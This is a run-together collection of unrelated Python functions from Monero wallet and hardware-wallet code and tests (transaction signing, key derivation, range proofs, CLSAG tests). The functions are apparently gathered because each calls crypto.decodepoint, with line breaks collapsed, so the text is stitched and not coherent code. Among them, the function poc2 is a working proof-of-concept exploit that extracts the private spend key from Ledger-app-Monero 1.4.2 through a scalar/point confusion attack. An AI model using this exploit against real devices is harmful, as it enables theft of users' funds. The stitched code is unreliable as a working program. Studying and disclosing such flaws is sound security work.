def prove_rct_mg_simple(message, pubs, in_sk, a, cout, kLRki, mscout, index): """ Simple version for when we assume only post rct inputs here pubs is a vector of (P, C) length mixin :param message: :param pubs: vector of CtKeys, public, point values, encoded form. (dest, mask) = (P, C) :param in_sk: CtKey, private. (spending private key, input commitment mask (original)) :param a: mask from the pseudo_output commitment (alpha) :param cout: point, decoded. Pseudo output public key. :param kLRki: :param mscout: lambda accepting c :param index: :return: """ rows = 1 cols = len(pubs) if cols == 0: raise ValueError("Empty pubs") if (not kLRki or not mscout) and (kLRki and mscout): raise ValueError("Only one of kLRki/mscout is present") sk = key_vector(rows + 1) M = key_matrix(rows + 1, cols) sk[0] = in_sk.dest sk[1] = crypto.sc_sub(in_sk.mask, a) for i in range(cols): M[i][0] = crypto.decodepoint(pubs[i].dest) M[i][1] = crypto.point_sub(crypto.decodepoint(pubs[i].commitment), cout) return gen_mlsag_ext(message, M, sk, kLRki, mscout, index, rows)
async def _out_proc_range_proof(self, rsig): if self._is_req_bulletproof(): rsig.V = [] batch_size = self.ct.rsig_batches[self.ct.cur_batch_idx] for i in range(batch_size): commitment = self.ct.tx_out_pk[1 + self.ct.cur_output_idx - batch_size + i].mask commitment = crypto.scalarmult(crypto.decodepoint(commitment), crypto.sc_inv_eight()) rsig.V.append(crypto.encodepoint(commitment)) self.ct.tx_out_rsigs.append(rsig) # Rsig verification try: if not ring_ct.ver_range( C=crypto.decodepoint(self.ct.tx_out_pk[-1].mask), rsig=rsig, use_bulletproof=self._is_req_bulletproof(), ): logger.warning("Rsing not valid") except Exception as e: logger.error("Exception rsig: %s" % e) traceback.print_exc()
async def derive_public_key(self): derivation = crypto.decodepoint(self._fetch_decrypt()) output_index = self._fetch_u32() pub = crypto.decodepoint(self._fetch()) drvpub = crypto.derive_public_key(derivation, output_index, pub) self._insert(crypto.encodepoint(drvpub)) return SW_OK
async def export_key_image(creds, subaddresses, td): """ Key image export :param creds: :param subaddresses: :param td: :return: """ out_key = crypto.decodepoint(td.out_key) tx_pub_key = crypto.decodepoint(td.tx_pub_key) additional_tx_pub_keys = [] if not common.is_empty(td.additional_tx_pub_keys): additional_tx_pub_keys = [ crypto.decodepoint(x) for x in td.additional_tx_pub_keys ] ki, sig = ring_ct.export_key_image( creds, subaddresses, out_key, tx_pub_key, additional_tx_pub_keys, td.internal_output_index if isinstance(td, MoneroTransferDetails) else td.m_internal_output_index, ) return ki, sig
async def live_refresh(self, view_key_private, out_key, recv_deriv, real_out_idx, major, minor): msg = MoneroLiveRefreshStepRequest( out_key=out_key, recv_deriv=recv_deriv, real_out_idx=real_out_idx, sub_addr_major=major, sub_addr_minor=minor, ) t_res = await self.trezor.live_refresh( msg) # type: MoneroLiveRefreshStepAck self.handle_error(t_res) enc_key = self._compute_ki_enc_key_host(view_key_private, out_key, t_res.salt) decr = chacha_poly.decrypt_pack(enc_key, t_res.key_image) ki_bin = decr[:32] ki = crypto.decodepoint(ki_bin) sig = [[crypto.decodeint(decr[32:64]), crypto.decodeint(decr[64:])]] if not ring_ct.check_ring_singature( ki_bin, ki, [crypto.decodepoint(out_key)], sig): raise ValueError("Invalid ring sig on KI") return ki
async def derive_subaddress_public_key(self): pub = crypto.decodepoint(self._fetch()) derivation = crypto.decodepoint(self._fetch_decrypt()) output_index = self._fetch_u32() sub_pub = monero.derive_subaddress_public_key(pub, derivation, output_index) self._insert(crypto.encodepoint(sub_pub)) return SW_OK
def gen_clsag_sig(self, ring_size=11, index=None): msg = bytearray(random.getrandbits(8) for _ in range(32)) amnt = crypto.sc_init(random.randint(0, 0xFFFFFF) + 12) priv = crypto.random_scalar() msk = crypto.random_scalar() alpha = crypto.random_scalar() P = crypto.scalarmult_base(priv) C = crypto.add_keys2(msk, amnt, crypto.xmr_H()) Cp = crypto.add_keys2(alpha, amnt, crypto.xmr_H()) ring = [] for i in range(ring_size - 1): tk = TmpKey( crypto.encodepoint( crypto.scalarmult_base(crypto.random_scalar())), crypto.encodepoint( crypto.scalarmult_base(crypto.random_scalar())), ) ring.append(tk) index = index if index is not None else random.randint(0, len(ring)) ring.insert(index, TmpKey(crypto.encodepoint(P), crypto.encodepoint(C))) ring2 = list(ring) mg_buffer = [] self.assertTrue( crypto.point_eq(crypto.scalarmult_base(priv), crypto.decodepoint(ring[index].dest))) self.assertTrue( crypto.point_eq( crypto.scalarmult_base(crypto.sc_sub(msk, alpha)), crypto.point_sub(crypto.decodepoint(ring[index].commitment), Cp), )) mlsag2.generate_clsag_simple( msg, ring, CtKey(dest=priv, mask=msk), alpha, Cp, index, mg_buffer, ) sD = crypto.decodepoint(mg_buffer[-1]) sc1 = crypto.decodeint(mg_buffer[-2]) scalars = [crypto.decodeint(x) for x in mg_buffer[1:-2]] H = crypto.new_point() sI = crypto.new_point() crypto.hash_to_point_into(H, crypto.encodepoint(P)) crypto.scalarmult_into(sI, H, priv) # I = p*H return msg, scalars, sc1, sI, sD, ring2, Cp
async def get_tx_key_test(self, agent, con_data, creds, all_creds): salt1 = con_data.enc_salt1 salt2 = con_data.enc_salt2 res = await agent.get_tx_key(salt1, salt2, con_data.enc_keys, con_data.tx_prefix_hash, creds.view_key_private) extras = await monero.parse_extra_fields(list(con_data.tx.extra)) tx_pub = monero.find_tx_extra_field_by_type(extras, xmrtypes.TxExtraPubKey, 0) additional_pub_keys = monero.find_tx_extra_field_by_type( extras, xmrtypes.TxExtraAdditionalPubKeys) # For verification need to build database creds -> pubkeys all_creds_subs = [] for idx, ccred in enumerate(all_creds): subs = {} for accnt in range(10): subs = monero.compute_subaddresses(ccred, accnt, range(20), subs) all_creds_subs.append( [crypto.decodepoint(xx) for xx in subs.keys()]) if not self.verify_tx_key(res[0], crypto.decodepoint(tx_pub.pub_key), all_creds_subs): raise ValueError("Tx pub mismatch") if additional_pub_keys and len( additional_pub_keys.data) != len(res) - 1: raise ValueError("Invalid additional keys count") if additional_pub_keys: for i, ad in enumerate(additional_pub_keys.data): if not self.verify_tx_key(res[i + 1], crypto.decodepoint(ad), all_creds_subs): raise ValueError("Tx additional %s pub mismatch" % i) my_pub = crypto.scalarmult_base(creds.view_key_private) res_der = await agent.get_tx_deriv(salt1, salt2, con_data.enc_keys, con_data.tx_prefix_hash, creds.view_key_private, crypto.encodepoint(my_pub)) if len(res) != len(res_der): raise ValueError("Derivation array mismatch") tmp = crypto.scalarmult(my_pub, res[0]) if not crypto.point_eq(tmp, res_der[0]): raise ValueError("Derivation 0 mismatch") if additional_pub_keys: for i in range(len(additional_pub_keys.data)): tmp = crypto.scalarmult(my_pub, res[i + 1]) if not crypto.point_eq(tmp, res_der[i + 1]): raise ValueError("Tx derivation additional %s mismatch" % i)
def test_encoding(self): point = unhexlify( b"2486224797d05cae3cba4be043be2db0df381f3f19cfa113f86ab38e3d8d2bd0" ) self.assertEqual(point, crypto.encodepoint(crypto.decodepoint(point))) self.assertTrue( crypto.point_eq( crypto.decodepoint(point), crypto.decodepoint( crypto.encodepoint(crypto.decodepoint(point))), ))
def decode_ct_keys_points(vct, copy=False): """ Decodes CtKeys vector as points :param vct: :param copy: :return: """ rvct = copy_ct_keys(vct) if copy else vct for i in range(len(rvct)): rvct[i].mask = crypto.decodepoint(rvct[i].mask) rvct[i].dest = crypto.decodepoint(rvct[i].dest) return rvct
async def _on_set_outputs_ack(self, t_res): self.ct.tx.vout.append(await tmisc.parse_msg(t_res.tx_out, xmrtypes.TxOut())) self.ct.tx_out_hmacs.append(t_res.vouti_hmac) self.ct.tx_out_pk.append(await tmisc.parse_msg(t_res.out_pk, xmrtypes.CtKey())) self.ct.tx_out_ecdh.append(await tmisc.parse_msg(t_res.ecdh_info, xmrtypes.EcdhTuple())) rsig_buff = None if t_res.rsig_data: tsig_data = t_res.rsig_data if tsig_data.rsig and len(tsig_data.rsig) > 0: rsig_buff = tsig_data.rsig elif tsig_data.rsig_parts and len(tsig_data.rsig_parts) > 0: rsig_buff = b"".join(tsig_data.rsig_parts) if rsig_buff and not self._is_req_bulletproof(): rsig = await tmisc.parse_msg(rsig_buff, xmrtypes.RangeSig()) elif rsig_buff: rsig = await tmisc.parse_msg(rsig_buff, xmrtypes.Bulletproof()) else: return if self._is_req_bulletproof(): rsig.V = [] batch_size = self.ct.rsig_batches[self.ct.cur_batch_idx] for i in range(batch_size): commitment = self.ct.tx_out_pk[1 + self.ct.cur_output_idx - batch_size + i].mask commitment = crypto.scalarmult(crypto.decodepoint(commitment), crypto.sc_inv_eight()) rsig.V.append(crypto.encodepoint(commitment)) self.ct.tx_out_rsigs.append(rsig) # Rsig verification try: if not ring_ct.ver_range( C=crypto.decodepoint(self.ct.tx_out_pk[-1].mask), rsig=rsig, use_bulletproof=self._is_req_bulletproof(), ): logger.warning("Rsing not valid") except Exception as e: logger.error("Exception rsig: %s" % e) traceback.print_exc() self.ct.cur_batch_idx += 1 self.ct.cur_output_in_batch_idx = 0
async def set_input(self, src_entr): """ :param src_entr: :type src_entr: xmrtypes.TxSourceEntry :return: """ self.inp_idx += 1 if src_entr.real_output >= len(src_entr.outputs): raise ValueError( "real_output index %s bigger than output_keys.size()" % (src_entr.real_output, len(src_entr.outputs)) ) self.summary_inputs_money += src_entr.amount out_key = crypto.decodepoint(src_entr.outputs[src_entr.real_output][1].dest) tx_key = crypto.decodepoint(src_entr.real_out_tx_key) additional_keys = [ crypto.decodepoint(x) for x in src_entr.real_out_additional_tx_keys ] secs = monero.generate_key_image_helper( self.trezor.creds, self.subaddresses, out_key, tx_key, additional_keys, src_entr.real_output_in_tx_index, ) xi, ki, di = secs self.input_secrets.append((xi,)) self.input_rcts.append(src_entr.rct) # Construct tx.vin vini = xmrtypes.TxinToKey( amount=src_entr.amount, k_image=crypto.encodepoint(ki) ) vini.key_offsets = [x[0] for x in src_entr.outputs] vini.key_offsets = monero.absolute_output_offsets_to_relative(vini.key_offsets) self.tx.vin.append(vini) # HMAC(T_in,i || vin_i) kwriter = monero.get_keccak_writer() ar = xmrserialize.Archive(kwriter, True) await ar.message(src_entr, xmrtypes.TxSourceEntry) await ar.message(vini, xmrtypes.TxinToKey) hmac_key_vini = crypto.keccak_hash( self.key_hmac + b"txin" + xmrserialize.dump_uvarint_b(self.inp_idx) ) hmac_vini = crypto.compute_hmac(hmac_key_vini, kwriter.get_digest()) return vini, hmac_vini
async def put_key(self): sec = crypto.decodeint(self._fetch(32)) pub = crypto.decodepoint(self._fetch(32)) if not crypto.point_eq(pub, crypto.scalarmult_base(sec)): return SW_WRONG_DATA self.a = sec sec = crypto.decodeint(self._fetch(32)) pub = crypto.decodepoint(self._fetch(32)) if not crypto.point_eq(pub, crypto.scalarmult_base(sec)): return SW_WRONG_DATA self.b = sec return SW_OK
def test_public_spend(self): derivation = binascii.unhexlify( b"e720a09f2e3a0bbf4e4ba7ad93653bb296885510121f806acb2a5f9168fafa01" ) base = binascii.unhexlify( b"7d996b0f2db6dbb5f2a086211f2399a4a7479b2c911af307fdc3f7f61a88cb0e" ) pkey_ex = binascii.unhexlify( b"0846cae7405077b6b7800f0b932c10a186448370b6db318f8c9e13f781dab546" ) pkey_comp = crypto.derive_public_key(crypto.decodepoint(derivation), 0, crypto.decodepoint(base)) self.assertEqual(pkey_ex, crypto.encodepoint(pkey_comp))
async def mlsag_prehash_update(self): is_subaddress = 0 Aout = None Bout = None C = None v = None k = None changed = 0 is_subaddress = bool(self._fetch_u8()) Aout = crypto.decodepoint(self._fetch()) Bout = crypto.decodepoint(self._fetch()) if self.sig_mode == TRANSACTION_CREATE_REAL: if crypto.point_eq(Aout, self.A) and crypto.point_eq(Bout, self.B): changed = 1 AKout = self._fetch_decrypt() C = self._fetch() k = self._fetch() v = self._fetch() self.ctx_h.update(k) self.ctx_h.update(v) self.ctx_amount.update(AKout) v, k, AKout = self.unblind_int(v, k, AKout) self.ctx_amount.update(crypto.encodeint(k)) self.ctx_amount.update(crypto.encodeint(v)) vH = crypto.scalarmult_h(v) kG = crypto.scalarmult_base(k) k = crypto.point_add(kG, vH) if not crypto.point_eq(k, crypto.decodepoint(C)): raise ValueError(SW_SECURITY_COMMITMENT_CONTROL) self.ctx_commitment.update(C) if self.options & IN_OPTION_MORE_COMMAND == 0: k = self.ctx_amount.digest() if not common.ct_equal(k, self.KV): raise ValueError(SW_SECURITY_AMOUNT_CHAIN_CONTROL) self.C = self.ctx_commitment.digest() self.ctx_commitment = sha256() if self.sig_mode == TRANSACTION_CREATE_REAL: if not changed: await self._req_dst(Aout, Bout, v, is_subaddress) return SW_OK
async def verify_ki_export(self, res, exp): """ Verifies key image export :param res: :param exp: :return: """ self.assertTrue(len(res) > 0) for idx, kie in enumerate(res): td = exp.tds[idx] ki = crypto.decodepoint(kie[0]) pkey = crypto.decodepoint(td.m_tx.vout[td.m_internal_output_index].target.key) sig = [[crypto.decodeint(kie[1][0]), crypto.decodeint(kie[1][1])]] self.assertTrue(ring_ct.check_ring_singature(kie[0], ki, [pkey], sig))
def test_scalarmult(self): priv = unhexlify( b"3482fb9735ef879fcae5ec7721b5d3646e155c4fb58d6cc11c732c9c9b76620a" ) pub = unhexlify( b"2486224797d05cae3cba4be043be2db0df381f3f19cfa113f86ab38e3d8d2bd0" ) exp = unhexlify( b"adcd1f5881f46f254900a03c654e71950a88a0236fa0a3a946c9b8daed6ef43d" ) res = crypto.scalarmult(crypto.decodepoint(pub), crypto.decodeint(priv)) self.assertEqual(exp, crypto.encodepoint(res)) self.assertTrue(crypto.point_eq(crypto.decodepoint(exp), res))
def verify_monero_generated(self, clsag): msg = ubinascii.unhexlify(clsag["msg"]) sI = crypto.decodepoint(ubinascii.unhexlify(clsag["sI"])) sD = crypto.decodepoint(ubinascii.unhexlify(clsag["sD"])) sc1 = crypto.decodeint(ubinascii.unhexlify(clsag["sc1"])) Cout = crypto.decodepoint(ubinascii.unhexlify(clsag["cout"])) scalars = [ crypto.decodeint(ubinascii.unhexlify(x)) for x in clsag["ss"] ] ring = [] for e in clsag["ring"]: ring.append( TmpKey(ubinascii.unhexlify(e[0]), ubinascii.unhexlify(e[1]))) mlsag2.verify_clsag(msg, scalars, sc1, sI, sD, ring, Cout)
def check_input(self, inp, new_keys, new_subs): real_out_key = inp.outputs[inp.real_output][1] tx_key = crypto.decodepoint(inp.real_out_tx_key) additional_keys = [ crypto.decodepoint(x) for x in inp.real_out_additional_tx_keys ] _ = monero.generate_key_image_helper( new_keys, new_subs, crypto.decodepoint(real_out_key.dest), tx_key, additional_keys, inp.real_output_in_tx_index, )
async def open_with_keys(self, view_key, address): """ Processess view key private + address :param view_key: :param address: :return: """ self.pub_view = crypto.scalarmult_base(view_key) version, pub_spend, pub_view = monero.decode_addr(address) self.pub_spend = crypto.decodepoint(pub_spend) if not crypto.point_eq(self.pub_view, crypto.decodepoint(pub_view)): raise ValueError( "Computed view public key does not match the one from address")
def scan_output(creds, tx, i, tx_scan_info, tx_money_got_in_outs, outs, multisig): """ Wallet2::scan_output() Computes spending key, key image, decodes ECDH info, amount, checks masks. """ if multisig: tx_scan_info.in_ephemeral = 0 tx_scan_info.ki = crypto.identity() else: out_dec = crypto.decodepoint(tx.vout[i].target.key) res = generate_key_image_helper_precomp(creds, out_dec, tx_scan_info.received[1], i, tx_scan_info.received[0]) tx_scan_info.in_ephemeral, tx_scan_info.ki = res if not tx_scan_info.ki: raise ValueError("Key error generation failed") outs.append(i) if tx_scan_info.money_transfered == 0: res2 = ecdh_decode_rv(tx.rct_signatures, tx_scan_info.received[1], i) tx_scan_info.money_transfered, tx_scan_info.mask = res2 tx_scan_info.money_transfered = crypto.sc_get64( tx_scan_info.money_transfered) tx_money_got_in_outs[ tx_scan_info.received[0]] += tx_scan_info.money_transfered tx_scan_info.amount = tx_scan_info.money_transfered return tx_scan_info
async def analyze_input(self, keys, subs, inp): subs = subs if subs else {} real_out_key = inp.outputs[inp.real_output][1] out_key = crypto.decodepoint(real_out_key.dest) tx_key = crypto.decodepoint(inp.real_out_tx_key) additional_keys = [ crypto.decodepoint(x) for x in inp.real_out_additional_tx_keys ] res = generate_key_image_ex( keys, subs, out_key, tx_key, additional_keys, inp.real_output_in_tx_index ) xi, ki, recv_derivation, subaddr_recv_info = res sub_idx = subaddr_recv_info[0] return sub_idx
async def derive_secret_key(self): derivation = crypto.decodepoint(self._fetch_decrypt()) output_index = self._fetch_u32() sec = self._fetch_decrypt_key() drvsec = crypto.derive_secret_key(derivation, output_index, sec) self._insert_encrypt(crypto.encodeint(drvsec)) return SW_OK
def decode_points(vct): """ Decodes vector of points :param vct: :return: """ return [crypto.decodepoint(x) for x in vct]
async def mlsag_prepare(self): Hi = None xin = None options = 0 if len(self.c_msg) > 1: options = 1 Hi = crypto.decodepoint(self._fetch()) if self.options & 0x40: xin = crypto.decodeint(self._fetch()) else: xin = crypto.decodeint(self._fetch_decrypt()) alpha = crypto.random_scalar() self._insert_encrypt(crypto.encodeint(alpha)) # ai.G self._insert(crypto.encodepoint(crypto.scalarmult_base(alpha))) if options: # ai * Hi self._insert(crypto.encodepoint(crypto.scalarmult(Hi, alpha))) # xin * Hi self._insert(crypto.encodepoint(crypto.scalarmult(Hi, xin))) return SW_OK
def poc2(self): print('[+] PoC Ledger-app-Monero 1.4.2 spend key extraction, v2') self.reset() self.set_mode() self.open_tx() # 1. get A, find x, s.t.: [8*a*x*G]_pt == [8*a*x*G]_sc A = self.scalarmult(self.fake_a) Apt = crypto.decodepoint(A) x, A8x = self.find_confusion(Apt) Gx = crypto.encodepoint(crypto.scalarmult_base(crypto.sc_init(x))) print(' 1. Confusion found, x: %d' % (x, )) print(' 8xA: %s' % binascii.hexlify(A8x).decode('ascii')) print(' A: %s' % binascii.hexlify(A).decode('ascii')) print(' xG: %s' % binascii.hexlify(Gx).decode('ascii')) # 2. gen_deriv (8*a*x*G) = enc(8x*A) = enc(P); we know {P, enc(P)}; # It holds that P=8xA is also a valid scalar value, from the step above. P = self.gen_derivation(Gx, self.fake_a) print(' 2. P: %s' % (self.fmtkey(P).decode('ascii'), )) # 3. get_secret_key: s1 = Hs(P||0) + s sp = self.derive_secret_key(P, 0, self.fake_b) print(' 3. sp: %s' % (self.fmtkey(sp).decode('ascii'), )) # 4. mlsag_hash(p2=1, opt=0x80) = c c = self.mlsag_hash() print(' 4. c: %s' % (binascii.hexlify(c).decode('ascii'), )) # 5. mlsag_sign(s1, enc(P)), r1 = enc(s1 - Pc) = enc(Hs(P||0) + s - Pc); # We have R = Hs(P||0) + s - Pc -> R - Hs(P||0) + Pc = s r = self.mlsag_sign_s(P, sp) print(' 5. r: %s' % (binascii.hexlify(r[0]).decode('ascii'), )) # Extract the spend key hs0 = crypto.hash_to_scalar(bytearray(A8x) + bytearray(1)) rsc = crypto.decodeint(r[0]) rsc = crypto.sc_sub(rsc, hs0) bsc = crypto.sc_add( rsc, crypto.sc_mul(crypto.decodeint(c), crypto.decodeint(A8x))) b = crypto.encodeint(bsc) print(' 5. b: %s' % binascii.hexlify(b).decode('ascii')) B = crypto.scalarmult_base(bsc) print(' 5. B: %s' % binascii.hexlify(crypto.encodepoint(B)).decode('ascii')) # 6. Verify BB = self.scalarmult(self.fake_b) print(' 6. bG: %s\n' % binascii.hexlify(BB).decode('ascii')) if BB == crypto.encodepoint(B): print('[+] PoC successful') else: print('[-] PoC not working') print('\nCommands: ') for x in self.commands: print(' %s' % x)
def test_clsag_invalid_P(self): res = self.gen_clsag_sig(ring_size=11, index=5) msg, scalars, sc1, sI, sD, ring2, Cp = res with self.assertRaises(ValueError): ring2[5].commitment = crypto.encodepoint( crypto.point_mul8(crypto.decodepoint(ring2[5].dest))) mlsag2.verify_clsag(msg, scalars, sc1, sI, sD, ring2, Cp)
async def process_payment_id(self): """ Payment id -> extra :return: """ if self.tsx_data.payment_id is None or len(self.tsx_data.payment_id) == 0: return change_addr = ( self.tsx_data.change_dts.addr if self.tsx_data.change_dts else None ) view_key_pub_enc = monero.get_destination_view_key_pub( self.tsx_data.outputs, change_addr ) if view_key_pub_enc == crypto.NULL_KEY_ENC: raise ValueError( "Destinations have to have exactly one output to support encrypted payment ids" ) view_key_pub = crypto.decodepoint(view_key_pub_enc) payment_id_encr = monero.encrypt_payment_id( self.tsx_data.payment_id, view_key_pub, self.r ) extra_nonce = monero.set_encrypted_payment_id_to_tx_extra_nonce(payment_id_encr) self.tx.extra = monero.add_extra_nonce_to_tx_extra(b"", extra_nonce)
async def init_transaction(self, tsx_data, tsx_ctr): """ Initializes a new transaction. :param tsx_data: :param tsx_ctr: :return: """ self.tsx_data = tsx_data self.gen_r() # Additional keys class_res = classify_subaddresses( tsx_data.outputs, tsx_data.change_dts.addr if tsx_data.change_dts else None ) num_stdaddresses, num_subaddresses, single_dest_subaddress = class_res # if this is a single-destination transfer to a subaddress, we set the tx pubkey to R=s*D if num_stdaddresses == 0 and num_subaddresses == 1: self.r_pub = crypto.ge_scalarmult( self.r, crypto.decodepoint(single_dest_subaddress.m_spend_public_key) ) self.need_additional_txkeys = num_subaddresses > 0 and ( num_stdaddresses > 0 or num_subaddresses > 1 ) if self.need_additional_txkeys: for _ in range(len(tsx_data.outputs)): self.additional_tx_keys.append(crypto.random_scalar()) # Extra processing, payment id self.tx.version = 2 self.tx.unlock_time = tsx_data.unlock_time await self.process_payment_id() await self.compute_hmac_keys(tsx_ctr)
def check_acc_out_precomp(tx_out, subaddresses, derivation, additional_derivations, i): """ wallet2::check_acc_out_precomp Detects whether the tx output belongs to the subaddresses. If yes, computes the derivation. Returns TxScanInfo :param tx_out: :param derivation: :param additional_derivations: :param i: :return: """ tx_scan_info = TxScanInfo() tx_scan_info.error = True if not isinstance(tx_out.target, xmrtypes.TxoutToKey): return tx_scan_info tx_scan_info.received = is_out_to_acc_precomp( subaddresses, crypto.decodepoint(tx_out.target.key), derivation, additional_derivations, i, ) if tx_scan_info.received: tx_scan_info.money_transfered = tx_out.amount else: tx_scan_info.money_transfered = 0 tx_scan_info.error = False return tx_scan_info